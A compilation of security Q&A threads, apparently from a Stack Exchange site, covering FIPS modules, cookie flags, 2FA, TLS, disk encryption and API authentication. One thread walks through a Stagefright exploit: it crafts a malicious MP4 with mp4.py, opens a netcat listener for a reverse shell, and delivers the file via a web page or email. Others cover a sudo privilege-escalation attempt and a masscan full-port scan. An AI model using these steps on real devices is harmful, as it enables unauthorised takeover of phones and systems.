What cryptographic module does Sql Server 2008 use to run in Fips 140-2 compliant mode by default? One can configure Sql Server 2008 to run in FIPS 140-2 compliant mode, in the same manner as running Bitlocker in FIPS 140-2 compliant mode.  Which is to activate FIPS 140-2 compliant mode in the Local Group Policy Editor dialog.

From Instructions for using SQL Server 2008 in FIPS 140-2-compliant mode:

  ...you must run SQL Server 2008 on an operating system that uses a
  FIPS 140-2-validated Cryptographic Service Provider or that provides a
  cryptographic module that has been validated.

What 'Cryptographic module' does SQL Server 2008 use by default when FIPS 140-2 compliance mode is activated in the group policy editor on a Windows Server 2008 machine?

You can find all official and validated modules on the website of nist.gov. SQL server could make use NetLib® Encryptionizer® DE/FIPS (number 1532).

All though it will probably make use of the standard  Server 2008 libraries encryption which provide AES encryption. (The standard encryption in SQL Server 2008).
I believe that dssenh.dll (Cert 1338) and rsaenh.dll (Cert 1337) have been FIPS 140-2 validated.


Allow or Deny Access to a Network Based on Client Hardware We have to build a product that will have a network. Users will be able to connect to this network by downloading a client. However, before allowing them to access the network we want to check if their hardware, for instance, supports certain characteristics.

I had thought that by sending to our server the result of a test, which looks for these hardware characteristics, and its hash, both of them encrypted, it could be enough. However, I fear that this result could be "injected", and thus we would be fooled into thinking that he/she has the correct hardware.

On the same wavelength, I might want to check that the client has not been manipulated, using, for example, a hashing algorithm. I think that we face a similar problem that in the hardware check scenario.

So in terms of gaming companies blocking illegal software, as @lucaskauffman and @terrychia mention in commments this is typically done by the company issuing license keys to each user and then doing an online check during installation/operation that the key is only used in one place and is a valid key.

If you're looking at restricting access to a system based on hardware characteristics or perhaps installed software/configuration that sounds more like a job for Network Access Control (NAC) style systems.

They typically work by deploying an agent to each client which then runs a series of checks returning the result to network hardware that then only allows access to the network if the result is as expected.

A big warning with this kind of system is that a determined attacker will likely be able to bypass it.  The security adage is that once the attacker has control of the hardware (in this case the client) they can usually bypass controls deployed to it.

It's not to say that it's not a good control, but that it's only effective in some situations and against some classes of attacker.


How is the lack of the "SameSite" cookie flag a risk? Nowadays cookies can have HTTPOnly, Secure and SameSite flags. The purposes of HTTPOnly and Secure flags are pretty clear. But what does SameSite scripting prevent exactly and how?

Additionally, how would a scenario of successful "attacking" or "misusing" look like when the SameSite flag is not used?

The goals of the SameSite flag are:

prevent cross-site timing attacks (see eg here)
prevent cross-site script inclusion (see here)
prevent CSRF: SameSite cookies are only sent if the site the request originated from is in the same site as the target site (in strict mode for GET and POST, in lax mode only for POST requests).
limited privacy protection


Are these precautions sufficient for scam baiting? I'm a tired of these stupid scammers trying to rip off fellow university students desperate for housing, so as for some free time activity I thought I'd try and do some scam baiting, and send him to MoneyGram and Western Union a few times in vain for the fun of it :)

I will use a free online gmx account for the email.
I will create a fake name and cover story.

Questions:

I have never really used a service like tor, but is this necessary to ensure my protection? Is this sort of information encoded in metadata? I could also use one of the university computers, would this help?
Are there any other precautions I should take?

Most of the time, scammers aren't technical people, and they won't look for your IP address in mail headers (since they sometimes leave theirs). Find a mail provider that doesn't forward it, just to be on the safe side.

This extremely entertaining resource, 419eater.com, should give you the basics. As far as safety is concerned, it boils down to not giving out personal information.

I wouldn't go as far as using Tor for this, but it can't hurt anyway.


What are the ways to implement two factor authentication? We have devices that can generate tokens. So we can use tokens with passwords to perform two factor authentication. There are many ways to implement such systems to enhance security. One of two I know, is to modify open-ssh client, and, another is to develop a PAM(Pluggable authentication module) module.

Are there other ways? Which is the best method considering easy deployment (note: complexity of development is not concern)? The authentication will be used mainly by server's ssh daemon to authenticate users for log in.

I am using IPA (LDAP, Kerberos, SSSD) since early 2.x versions and couldn't be happier. With regards to 2FA and OpenSSH, here is the relevant snippet of my sshd_config:

AllowGroups ipausers
GSSAPIAuthentication yes
PasswordAuthentication no
PubkeyAuthentication yes
RequiredAuthentications2 publickey,gssapi-with-mic

As of OpenSSH-6.2, the Red Hat patch implementing the RequiredAuthentications2 has been either included upstream or superseeded:

  sshd(8): Added support for multiple required authentication in SSH
  protocol 2 via an AuthenticationMethods option. This option lists
  one or more comma-separated lists of authentication method names.
  Successful completion of all the methods in any list is required for
  authentication to complete. This allows, for example, requiring a
  user having to authenticate via public key or GSSAPI before they
  are offered password authentication.


Good analogy needed: Sec issues due to different coders implementing the same features in different ways for the same app I have to give a school presentation about vulnerabilities found in the Moodle platform. Of course, they only apply to a legacy version which has since been patched.

The catch is that the presentation should be aimed at an audience with no technical knowledge. So I'm not allowed to explain anything using the code, but I should give an explanation which helps the audience to understand the problem even if they have zero technical understanding.

Moodle's problems arose from different contributors implementing the same functionality in different ways which created some security loopholes. One of the vulnerabilities alone wouldn't have sufficed to do considerable damage to the system, yet combining exploits of false assumptions, an object injection, a double SQL Injection and a permissive Administrator dashboard RCE became possible.

I thought of explaining it with a house which was originally build safely, but then got insecure because of some additional stuff built onto it, but I'm looking for something a little more specific or maybe some real-world historic scenario which would fit.

I thought maybe you might have a better idea.

Here's an idea for an analogy that I think is fairly accurate while generally understandable:

A bank requires two forms of ID to get a loan: a driver's license and a birth certificate.  Bank employees Alice and Bob are lazy in different ways: Alice always stamps "driver's license verified" without checking, while Bob always stamps "birth certificate verified" without checking.

Individually this is bad but not too bad -- anyone applying with forged documents would get caught by the one check the employee still does perform.  But one day Alice is running late, stamps "driver's license verified" on a form, and leaves it for Bob to finish up.  Bob sees the form, assumes Alice actually verified the license, and stamps "birth certificate verified" without checking like he always does.  The loan is approved, without either form of ID having been checked.


Why does chrome connects to MarkMonitor (always on startup) While using internet (over Chrome), I noticed that

lsof -i

returned certain suspicious URL(s). A whois lookup suggested that all of those belonged to MarkMonitor. For example:

chrome  3224 jupiter   78u  IPv4 109065      0t0  TCP 192.168.200.2:45519->hx-de-f95.1e100.net:https (ESTABLISHED)

There were 4-5 more such URL(s) each mapped to MarkMonitor. Furthermore, they are disconnected after closing Chrome and are not connected until it is restarted. The same thing does not happen with Firefox.

I could find an answer over the internet (on Google forums). It is very short and does not get into details. Is MarkMonitor having a backdoor in Chrome and tracking me? I have disabled third cookies and history and cookies are always cleared after closing the browser.

I think the confusion here lies in that 1e100.net appears to be owned by MarkMonitor. Actually, MarkMonitor have registered (and "protect") this domain for Google.

You can see here that Google own 1e100.net: What is 1e100.net?

So Google Chrome is phoning home but to Google's servers.


Does it matter which Certificate Authority I source my SSL Certificate from? To secure my web site with HTTPS, does it matter which company I source my SSL certificate from, or just that the browser recognizes it?

From the Area51 proposal.

I guess it really depends on the nature of your users.

99.9% of users will simply see that the browser doesn't give them any errors when they visit your site (assuming you bought the cert from a company that has their CA cert in your browser's cert store).

This does however point to a bigger problem with the PKI infrastructure as currently deployed:

Any known CA can create a certificate for any other site, and browsers will accept that certificate, even if the legitimate owner of the site already has a certificate from another CA.

While this is good in some ways, in that a site operator can change CA vendors if he chooses to, it also means that a compromised CA can be used to generate certs for arbitrary sites. This issue was raised when CNNIC's CA cert was added to Mozilla (and others) CA lists.

There seems to be an innate distrust of China (possibly related to "the great firewall"), but in truth, this does mean that any user in China, when trying to use an encrypted connection to a "subversive" site, should be checking that the certificate presented was NOT signed by the CNNIC CA cert.

There is a handy Firefox extension (Certificate Patrol) that monitors the certificates presented by various sites, and warns you if the certificate changes for any reason.


Unable to replace linux binary I'm working on a linux privilege escalation. This is the situation: I'm able to write to /bin, and I only have sudo access to run a script. This script just prints information with an echo.

I copied /bin/bash to /bin/echo, hoping that running that sudo script would get me an elevated shell but that didin't work. After replacing /bin/echo, running "echo test" just prints "test". Doing /bin/echo whoever spawns a bash shell.

I checked that my PATH variable is correct (it includes /bin first), and I don't have an "echo" binary in any other path. Running "which echo" returns only "/bin/echo". I tried this in an Ubuntu server, and thought that maybe Apparmor had something to do, but I also tried it on a Debian without Apparmor and didin't work either.

The script is executing the shell builtin instead of /bin/bash.


Question about dictionary attacks on GnuPG symmetric encryption They say algorithms like AES can't practically be broken given a long enough key length (> 128 bits). If I use GnuPG to encrypt a file using AES:

gpg -c --cipher-algo AES secretfile

it asks me for a passphrase. I understand that along with my passphrase, a salt and a key derivation function is used to generate a 128-bit key for the encryption. My question is, can't a dictionary attack be used on the passphrase to break the encryption? In that case, I would think that the encryption is not extremely strong, not good enough for the US government's "classified information". Am I missing something here?

EDIT: The answerers seem to agree that the passphrase is the "weakest link". My response question to this argument is: then why use long key lengths? Aren't these supposed to make the encryption harder to break? In other words, 192-bit AES encryption with a certain passphrase is supposedly stronger than 128-bit AES encryption with the same passphrase (correct me if I'm wrong). But if the way to break the encryption is to use a dictionary attack, then key length should be irrelevant. Is this reasoning incorrect?

Yes, when using symmetric encryption with a key derived from a password, then the result in inherently subject to exhaustive search on the possible passwords, also known as "dictionary attacks". GnuPG includes the usual deterrents, namely salts (so that the attack cannot be optimized through precomputed tables) and a slow key derivation function (with thousands of internal iterations). Security still resides on the password entropy. The GnuPG documentation uses the term "passphrase" to underline the need for high password entropy (very long passwords -- in particular passwords consisting of several "words" -- tend to have high entropy).

Whether a given encryption system is deemed strong enough for US classified documents is defined by some arcane federal regulations which would never give a generic blessing on a mere algorithm description in any case. AES is, per se, an "approved" algorithm, but an actual encryption system may be "approved" only if it is an "approved" implementation of an "approved" algorithm. As far as I know, GnuPG is unlikely to be so approved, especially since it was mainly written in Germany (but, with opensource projects, you cannot really know from where the code comes -- and that's a big issue for people who "approve" implementations).


Eduroam requires installation of a CA Certificate - can they decrypt TLS traffic? Eduroam is an organization that provides free WiFi to educational institutions and around some cities. I don't fully understand how the authentication works, but in order to connect you have to install a CA Certificate called eduroam_WPA_EAP_TTLS_PAP on your device. I know CA certificates are used to decrypt TLS/SSL traffic, so doesn't this mean that Eduroam can decrypt my traffic considering I have their certificate installed on my phone? Any input is appreciated.

The specific certificate looks like this (numbers changed for security):

$ openssl x509 -inform der -in ca.skole.hr.der -noout -tex
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 0 (0x0)
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: C = HR, ST = Zagreb, L = Zagreb, O = MZOS, OU = CARNet, CN = CA Root certificate skole.hr
        Validity
            Not Before: Nov 15 14:17:58 2011 GMT
            Not After : Nov 12 14:17:58 2021 GMT
        Subject: C = HR, ST = Zagreb, L = Zagreb, O = MZOS, OU = CARNet, CN = CA Root certificate skole.hr
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (1024 bit)
                Modulus:
                    00:e5:a0:99:17:88:9d:1c:93:e5:d0:8f:97:da:63:
                    00:e5:a0:99:17:88:9d:1c:93:e5:d0:8f:97:da:63:
                    00:e5:a0:99:17:88:9d:1c:93:e5:d0:8f:97:da:63:
                    00:e5:a0:99:17:88:9d:1c:93:e5:d0:8f:97:da:63:
                    00:e5:a0:99:17:88:9d:1c:93:e5:d0:8f:97:da:63:
                    00:e5:a0:99:17:88:9d:1c:93:e5:d0:8f:97:da:63:
                    00:e5:a0:99:17:88:9d:1c:93:e5:d0:8f:97:da:63:
                    00:e5:a0:99:17:88:9d:1c:93:e5:d0:8f:97:da:63:
                    00:e5:a0:99:17:88:9d:1c:93
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                00:e5:a0:99:17:88:9d:1c:9300:e5:a0:99:17:88:9d:1c:93
            X509v3 Authority Key Identifier:
                keyid:00:e5:a0:99:17:88:9d:1c:93:00:e5:a0:99:17:88:9d:1c:93:00:e5:a0

            X509v3 Basic Constraints:
                CA:TRUE
    Signature Algorithm: sha1WithRSAEncryption
         00:e5:a0:99:17:88:9d:1c:93:00:e5:a0:99:17:88:9d:1c:93:
         00:e5:a0:99:17:88:9d:1c:93:00:e5:a0:99:17:88:9d:1c:93:
         00:e5:a0:99:17:88:9d:1c:93:00:e5:a0:99:17:88:9d:1c:93:
         00:e5:a0:99:17:88:9d:1c:93:00:e5:a0:99:17:88:9d:1c:93:
         00:e5:a0:99:17:88:9d:1c:93:00:e5:a0:99:17:88:9d:1c:93:
         00:e5:a0:99:17:88:9d:1c:93:00:e5:a0:99:17:88:9d:1c:93:
         00:e5:a0:99:17:88:9d:1c:93:00:e5:a0:99:17:88:9d:1c:93:
         00:e5

It is installed using the Eduroam app into the Android credential storage and is "Installed for Wi-Fi" which I assume means that the credential is applied to all WiFi traffic.

This CA Root certificate skole.hr is not an official Eduroam certificate, but a CA certificate probably from the school that implements Eduroam WiFi. It's also plausible that this is a completely unrelated 3rd party CA certificate used for spying; we can't distinguish that with certainty.

While it might be used for WiFi authentication, as the WPA_EAP_TTLS_PAP suggests, installed as a trusted CA it might be used for signing any certificate. If you install the CA you trust whoever is behind it, and they could use it on an intercepting HTTPS proxy, among many things.

If your only intention is to connect to the WiFi, it would be possible to skip installing the certificate altogether, just trust any certificate for this connection, and use the Internet access with caution, just as you'd use any free WiFi. However, as this might compromise the account you are using for the WiFi, the best choice would be limiting the usage of the CA only for the WiFi authentication, as explained in the answers from multithr3at3d and Ángel.


Do all Authenticator Apps use the same algorithm? I've tried some Authenticator Apps (Google,Microsoft,Authy,Lastpass,...) and all of those apps generate same one time passwords at the same time ?

So, these apps are use the same algorithm which is a generic algorithm not an application developer's algorithm. Am I right ?

these apps are use the same algorithm which is a generic algorithm not an application developer's algorithm. Am I right ?

Yes.

There are two commonly used protocol for authenticator apps:

HOTP (HMAC-based one time password), which is specified in RFC 4226
TOTP (Time-based one time password), which is specified in RFC 6238

The algorithms for the two protocols are specified in open standards, so yes, all implementations of it are inter compatible.


Stagefright on Samsung Galaxy S3 running JB 4.3 I've been doing a lot of research on Stagefright  lately and it has been confirmed that many phone models running Android Lollipop and below are susceptible to the exploit.

So since my S3 did indeed turn out to be vulnerable to the exploit having used Zimperium's Stagefright Detector App I decided to put it to the test.

I downloaded Joshua Drake's stagefright code (mp4.py) and managed to successfully craft the malicious MP4 file by running:

python mp4.py -c 192.168.x.x -p 4444

c for LAN IP

p for port number

Now a lot of tutorials online say that before  sending the MP4 file via MMS to the target phone I must setup a backdoor using netcat. However I have found that creating a backdoor using metasploit is far more effective in gaining full control over the phone.

I've heard that you could also embed the MP4 or other multimedia files to a webpage such that when a victim visits the webpage you could gain full control over the phone in the same way as mentioned above.

So how could this be achieved?

You must install netcat on your PC, not on the device. Set this netcat in listening mode for the chosen port:

nc -lp 4444

The device will get its netcat by playing the forged video file. You don't need MMS to have the video sent to the phone. You can embed the video on a web page, send it by email, or simply use adb push command to store it on the device. After that use the standard video player to play the video, and you will have control over the device from your PC command line.


How do you explain the necessity of "nuke it from orbit" to management and users? When a machine has been infected with malware, most of us here immediately identify the appropriate action as "nuke it from orbit" - i.e. wipe the system and start over. Unfortunately, this is often costly for a company, especially if backups are configured in a less-than-optimal fashion. This can produce resistance from management and users who just want to carry on using the machine for work. After all, as far as they're concerned, they can "just run AV over it" and everything will be fine.

How do you explain the problem to management and users of a non-technical nature? I could easily produce a technical reason, but I'm having trouble coming up with the appropriate wording for non-technical users. I'd especially appreciate any way of speaking that the recipient can identify with, e.g. appealing to a manager's sense of risk management.

In my experience management doesn't like to listen to clever analogies. Depending on the person they care about the bottom line in dollars or hours of productivity. I would explain:

  The actual bottom line is that a compromise of our data will cost the
  company approximately X dollars + Y hours to recover. This is Z%
  likely to happen given the malware that is on this machine. A new
  install will cost A dollars + B hours to recover. You pick the
  appropriate action.

It's short and clear and doesn't really leave them any room to argue. They will clearly understand the risk and should make the right decision.


LUKS TPM disk encryption attacks Is it possible, or are there any known attacks, to get the encryption key for disk encryption tpm-luks? (Linux LUKS using encryption key stored in TPM)

I know that there are attacks like cold boot where it is possible to recover disk encryption key from RAM. Is it also applicable to LUKS with TPM?

Is there any proof or article saying that tpm-luks is not secure? I would like to use it but I need to be sure that I am doing the best in order to encrypt disk in Linux.

The TPM is used to seal the LUKS secret and nothing else. Once decrypted by the TPM (i.e. the proper environment has been loaded) the secret is stored in RAM hence it can be captured by coldboot attacks.

You can look at any documentation about Bitlocker with or without a PIN depending on your setup and the same will apply to tpm-luks, e.g. wikipedia.

The PIN will have an impact on whether the attack can be done: locally vs having to remove the memory dimm and, when the system was already turned off for a long time.

There's a few projects that store the secret elsewhere (e.g. TRESOR uses the CPU) and this is what you should be looking for if you really intend protecting yourself from those.


Authentication between web services within the same project In our project, we have several web services. Some of them are meant to be used only by the other services and the system administrator. We already have a global authentication system for users, this is not what I'm asking for here.

My question is: how should the authentication of communication between services be managed? What we need to prevent here is, basically, random people submitting queries/posts to this web services that are only meant to be used by the other services and not by people (except maybe the admin).

In case it helps, the web services are rails based.

If your system is relatively small and you're not too worried about man-in-the-middle attacks, then a pre-shared key is the simplest way to go. Think of it like a password that one server uses to recognize another. Ideally each server has its own password which is used to identify itself with others. If you need to, you can avoid disclosing the password while at the same time proving knowledge of it by using a challenge-response hashing mechanism.

If your system is large or adding and removing nodes happens often enough to make pre-shared keys difficult to maintain, then I'd recommend building your own PKI. This is simple enough to do with SSL certificates: just generate a central signing certificate and mark it (and it alone) as trusted to all of your servers, and issue each server/service its own certificate which it uses to identify itself with others. Use the subject field of the certificate to tie the certificate to the server/service, and of course sign each with your signing cert. SSL does provide for mutual authentication of both client and server for a single connection, so you can use completely off-the-shelf components for this. If necessary, you can include short expiration times and/or use revocation to enhance security if you're worried about keys falling in to the wrong hands.


Is there any alternative to nmap for UDP? I know UDP Scan is very slow and there are a lots of parameters for nmap like, --max-retries etc.
But i want to speedly udp port scan. I tried a lots of programs but not speedly. Any alternative nmap for speedly UDP scan technique or program/script?

First of all you can use the -T5 parameter on nmap, which is the fastest rate possible. By default, nmap uses -T4. Still you won't get as quick results as you would with masscan.
According to the creator's github:
This is an Internet-scale port scanner. It can scan the entire Internet in under 6 minutes, transmitting 10 million packets per second, from a single machine.

It's input/output is similar to nmap, the most famous port scanner. When in doubt, try one of those features.

Internally, it uses asynchronous tranmissions, similar to port scanners like scanrand, unicornscan, and ZMap. It's more flexible, allowing arbitrary port and address ranges.

In practice many penetration testers, including myself, use it to quickly scan devices for open ports and then take the results to nmap for more information.
For example, the command below will scan a host on all TCP (-p1-65535) and UDP (-pU:1-65535). In just a few minutes you will have all open ports and you can use nmap to scan ONLY them for services etc.
masscan -p1-65535,U:1-65535 10.10.10.x --rate=1000


Is there a security advantage to requiring a user id instead of just /me in an api request? Is there a security advantage to requiring a request to conform to /api/1234 instead of /api/me? Both would obviously have access tokens.

My guess is that api/1234 is more secure because if someone gets hold of an access token, they can't just see who's it is. They have to know which user id the token belongs to.

Short answer: It doesn't matter

In some cases using /api/1234 could be a disadvantage. If the application lacks proper authorization checks, a user could try /api/1235 and access another user's account. This kind of vulnerability is surprisingly common in practice. /api/me is good because it forces the developer to fetch the ID from the session.

/api/1234 can be an advantage if the user ID is a secret. This depends on the application - usually with interactive applications, users can see other users' IDs. If the ID truly is secret, this protects against CSRF. However, you application should already have CSRF protection, usually through a token in a hidden field.

In general, if someone gets hold of an access token, all bets are off. Focus your security effort on stopping anyone getting hold of a token.


Is it possible to prevent a file type from being determined in a Linux system? I have several files on my Ubuntu system, which are LUKS encrypted partitions. For my own shame up to this day I thought that simply changing binary file's extension will be enough to hide what a file really is. I.e. if I rename my LUKS partition stuff to windows.vdi then everyone would think that this is a virtual box drive, although corrupted, because an attempt to use it as the extension suggests would have definitely failed.

But today I've known about the file command, which correctly shows what a file is:

file windows.vdi
windows.vdi: LUKS encrypted file, ver 1 [aes, xts-plain64, sha1] UUID: xxx-xxx-xxx

And the same problem is with other file-types, which I would like to hide, like keepass password files, etc.

Does anyone know any way to hide file's true purpose on a system?

The idea is that in a situation where one can not resist a demand to provide passwords (for instance if he is captured physically and tortured), he should be able to deny the very existence of any encryption just after a computer was shut down, that is without hiding any files in another ones, editing files in a binary editor etc. just because he may not have enough time to do this

What you're looking for is called deniable encryption.

There are two forms of deniable encryption.  The first sort is "information-theoretic" deniable encryption: encryption where no mathematical analysis an attacker can perform can prove that a file is encrypted data and not a collection of random bytes.  The second sort is "real-world" deniable encryption: encryption where you can do something to convince an attacker with a $5 wrench that your file does not contain the stolen Death Star plans.

Everyone will offer you the first sort.  The problem with it is that normal people do not carry around large quantities of random bytes -- finding such a file is prima facie evidence that encryption is in use.  The second sort does not exist, and may be impossible -- you need encryption that lets you prove a negative.


BYOD - Looking for Secure means of Wiping Data Remotely We are in the process of implementing a Bring Your Own Device policy to allow our many employees to use their personal laptops and desktops (Windows platform) to VPN into our company's network. These employees will then remote desktop into their PC's located in our internal network.

Since we are PCI compliant this brings up various security concers:

Can we wipe a device that VPN's in to our network remotely upon termination or other event? (legally? what software does this?)
Can we make sure only to wipe files/data that came from the company?
Can we ensure that the remote PC/Laptop is virus free?
Can we ensure that the remote PC/Laptop has the most recent windows updates, java, flash?
Is there a way to drop a certificate for VPN that will expire, making it no longer usable by that machine? (Currently, it looks like our CiscoAnyConnect software is dropping a cert that doesn't expire or self destruct)
What would we need to ensure our PCI compliance?

Not unless they join your domain and GP is enforced. Though you can't really enforce this. So people which are not on the domain you'll have no control of. I don't know of any software which does though.
If they are on the domain, you'll need FULL permissions to your company data and you'll have to know every known hash of your company data. If they modify it then your hash will change, theoretically you can use byte signatures to get a x% match then delete it. Though if it's encrypted or compressed your byte signature is going to be screwed.
Malware is constantly been developed so you can't rely on AVs and so on ensuring the PC is completely virus-free. For example: If I wrote some obfuscated malware right now and did a wwww.virustotal.com it would be clean as it's not known and won't match byte signatures yet. Many AVs vendors have a server/client AV which when detects a malware on client informs the server running the AV.
Yeah, check out WMI QFE


Why is my computer connected to amazon instances When I run the command netstat -a to see the actual connections on my computer, I see all the time that my computer is connected to something like this ec2-xx-xx-xx-xx, not just one address it changes many times

Proto ---- local address ---- remote address ---- state

TCP   ---- my_address:port ---- ec2-xx-xx-xx-xx:port ---- ESTABLISHED

When I tried to know the source of this IP address, I've seen that it's an amazon instance, which has this hostname ec2-xx-xx-xx-xx.compute-1.amazonaws.com

I use the browser Chromium Edge, and I don't know if it uses resources on these instances or it can be some dangerous stuff, do you have any idea please what can this be?

Whenever you browse a website, your computer makes a connection to the site itself and to the servers hosting any resources requested by that website.  I've seen sites that include literally dozens of 3rd party resources -- fonts, ads, tracking pixels, javascript, stylesheets, and images are just some of these resources.  So to visit a site, you may make connections to dozens of different servers.

Of course, those servers won't be named ec2-xx-xx-xx-xx.compute-1.amazonaws.com in the source code.  They'll instead have a name like "examplecdn.com".  DNS is used to convert the hostname "examplecdn.com" to an IP address, which is what your computer actually connects to.  It's like looking up a phone number in an old-school phone book and dialing it.

So how do you get the EC2 name in your netstat output?  Well, netstat does something called a reverse DNS lookup.  It asks the DNS server to give it a hostname for an IP address.  This name does not have to be the same as the "examplecdn.com", it's again just a directory service.  For all the big cloud providers, you'll see that this defaults to some hostname based on the cloud provider's name.  Under Amazon, it's something under amazonaws.com, (and in fact, the ec2-XX-XX-XX-XX should correspond to the IP of the host), and under Google Cloud it's "googleusercontent.com".

So, in summary, what you're seeing is that some resource requested by your computer is hosted by someone using AWS as their service provider.  It's not inherently suspicious.


How can I prevent Facebook from gathering data when using it on Linux? I know that Facebook tries to collect data when browsing, even when you're not browsing Facebook itself.

I dislike this behaviour and therefore would like to prevent Facebook from gathering as much data as possible from me.

On the other hand, I don't want to completely ditch Facebook and keep as much of the website's functions as possible. At this point, I'm browsing Facebook daily.

I'm browsing Facebook with Firefox, running on Ubuntu 17.04.

How can I get this done?

Use a separate browser with a different fingerprint from your main browser. For example, if you're using Linux with Chrome for your daily browsing, use Windows and Internet Explorer for Facebook (in a VM for example). In the VM set a slightly lower screen resolution so they can't track you on that either.

Finally in your daily browser use an extension such as uBlock Origin with an aggressive filter list (tracking lists and "anti third-party social") to prevent your daily browser from loading Facebook's tracking scripts such as the like buttons.


Is OpenLDAP version 2.4.24 at risk and what site should I check for known vulnerabilities with the used version? We use OpenLDAP version 2.4.24

$ /usr/local/libexec/slapd -VV
@(#) $OpenLDAP: slapd 2.4.24 (Mar  5 2011 06:36:43) $
        steve@sunblade2500:/bigdisk/SOURCES/S10/openldap-2.4.24/servers/slapd

OpenLDAP version 2.4.33 is currently available (27.11.2012).

We need to decide if we upgrade

expert in OpenLDAP left us
are in our version risky vulnerabilities?
is there a good web interface to check $SOFTWARE_NAME and $VERSION
and see known vulnerabilities with risk score.

I found http://www.cvedetails.com/vulnerability-list/vendor_id-439/Openldap.html but can't filter on version number.

The search functionality in cvedetails.com does let you search on version, but the output is not very handy.

Your best bet with the site is probably to just take the page you linked to and grep through for 2.4.24 to get the associated vulnerabilities.


Safely remove an expired PGP key file since it's possible to recover a deleted file I wonder how one can safely remove a PGP key file (with linux's command line tools) so that it's impossible to recover it. Maybe some dd command? Searched but couldn't find anything.

For "impossible to recover" you need to physically destroy the disk, I´m afraid.

Of course, depending on your threat model, you may very well be comfortable with something less drastic. In which case, you probably have at least one of shred, srm, or wipe bundled with your Linux distro.


Should all the headers reported by securityheaders.io be considered as findings? A lot of websites scanned with securityheaders.io are missing different headers.
Should all of these headers be reported as findings or just few of them which are more critical?

Findings are not Vulnerabilities
Should missing security headers be considered a "Finding"? Yes, absolutely. You found a state in the system that is not in accordance to best practice. But what matters is that you put it into proper context. For example, a missing Content Security Policy header is definitely a finding, but not necessarily a vulnerability.
Are those headers required?
"Required by whom?" I would ask back to you. If the security requirements the company itself writes dictate that all web-applications must contain all security headers that are considered best practice, then they are definitely required.
I'm not in the position to comment whether or not there is a legal requirement to have them, although I personally have never heard such a thing.
How should I proceed when I see missing security headers?
I report them as an informational finding. They're a missing security feature, and they should be implemented if it is possible. I would put a bit more emphasis on them if there were related attacks (e.g. XSS and a missing CSP), and would explain how the presence of this header would have made the attack more difficult or even prevented it, but it should still be treated as a low-severity finding.


Is OAuth more secure compared to API Keys I have worked on many API integrations scenarios, and I used 2 approaches to authenticate the API calls, as follow:-

Using API Keys

For example inside hubspot integration i use this web call to get all the accounts using API Key:-
https://api.hubapi.com/companies/v2/companies/paged?hapikey=**********&properties=website&properties=mse_scan&properties=phone&limit=100

Using OAuth.

For example inside SharePoint >> I create an app which generate a ClientID & ClientSecret, then inside my project web.config i pass/define the clientID & CleintSecret
 <appSettings file="custom.config">
    <add key="ClientId" value="e****7" />
    <add key="ClientSecret" value="**=" />
  </appSettings>

now in both cases we have confidential info been passed/stored, either APIKey or ClientID and ClientSecret. so can i say that from a security point of view I can not say that oAuth is more secure compared to using APIKeys? as if someone (let assume a hacker) get the APIKey then he can integrate with the our application + if a user got the ClientID and ClientSecret then he can integrate with the application as well..

OAuth services like Google or FB, or self made OAuth services based e.g. on Keycloak provide very often following features:

Possibility for the users to reset their passwords, where as it is hard or impossible to reissue an API key.
Password reset can be done quickly, where as re-issuing f an API key may take days or weeks, depending you capacity of your customer support team.
Passwords are stored in a hashed form. If password database stolen, it will not reveal passwords and will not help attacker. Where as when the database with API keys is stolen, the attacker can use all API keys.
If the database with API keys is stolen and user accounts abused, it will be very hard to know where the problem is. You will suppose users didn't care about keeping their passwords safe. Users will suppose you have security problems on your side.
The OAuth service can provide 2FA, where as with API key there is single authentication factor only.
In case your application logs requests, also API keys can be logged. Via logs and their backups more people can know the API keys on your side. You need extra efforts to make sure that API key is not written to the log. Where as in case of OAuth your application only obtains a token containing user ID. Thus it is safe to write the whole request to the log.

But...
All these advantages will be really advantages, if you use some quality OAuth service. If you use the strange approach that you described, with passwords hardcoded in config files, there will be no big difference between two approaches.


Picking exponents for Diffie-Hellman I'm taking a class on Cryptography and the professor mentioned that given mod N and base g with a certain order, you should pick powers m and n such that they create a certain property with the order of g. I wasn't completely sure of what he said and cant seem to find much info on it. I believe it was something along the lines of if the exponents are larger than the order of g, it will make it more difficult for eve to recover the common key. Can someone confirm that for me and explain why?

An example I had from my notes was -
N=101
g=6, which has an order of 10
so pick m, n larger than 10, ie
m=14
n=84
Thus solving 6^x congruent to 14 gets 3
and solving 6&y congruent to 84 ets 4
So they obtain a common key of 6^3*4

Which I think gives them an incorrect key?

Exponent is just an integer; but exponents make sense only modulo the group order. If g has order q (q is necessarily a divisor of N-1 where N is the prime modulus), and x and y are two integers such that x = y mod q (i.e. q divides y-x), then gx = gy mod q. Thus, for exponent x, only x mod q matters. So you can just choose each exponent in the 1..q-1 range (it won't change anything to get an exponent outside of this range).


What is the purpose of TLS cipher suites pairing? Why are they paired the way they are? Why are there predefined sets of cipher suites. Why is creating your own cipher suites not recommended.

We need more information about exactly what do you mean in your question, whether you're asking about TLS 1.3 or older versions, from SSLv3 up to TLS 1.2, which worked a little differently, and what kind of thing you would like to do that is currently impossible.

If you only intend to use primitives already specified for TLS and just want to mix and match them more freely, like SSH lets you do (KEX AUTH CIPHERS MAC), the answer for why you can't in TLS is probably partly historic and partly because fewer options means less complexity and more vetting of the allowed options.

It is more secure to have as few options as possible. Modern thinking is that cryptographic algorithm agility (an idea from the 1990s) was a mistake, and modern designs go as far as saying negotiation only causes trouble, and the correct thing to do is to only have a single negotiated value (protocol version) and to only support a single allowed value long term (you may need to support two possible values short term to allow upgrading clients and servers out of sync). So for example, with WireGuard, you get X25519  + ChaCha20Poly1305 + Blake2s. If any of the primitives turns out to be broken, or the joinery turns out to be broken, or something much faster is invented, or people decide to switch to something optimized for very different hardware, then the new protocol will be described with a new protocol identifier and people will switch, and there will not be a recommendation to maintain backwards compatibility for a long time.

So, if, for example, you want to do DHE 2048 + ECDSA P-256 + AES-128-GCM + SHA256 with TLS1.2, you can't, because there is no such cipher suite, although pretty standard client and server code could have supported this easily (IMO) and it would be secure to do (IMO). This is a restriction that I think buys little (improves combinatorics of test set).

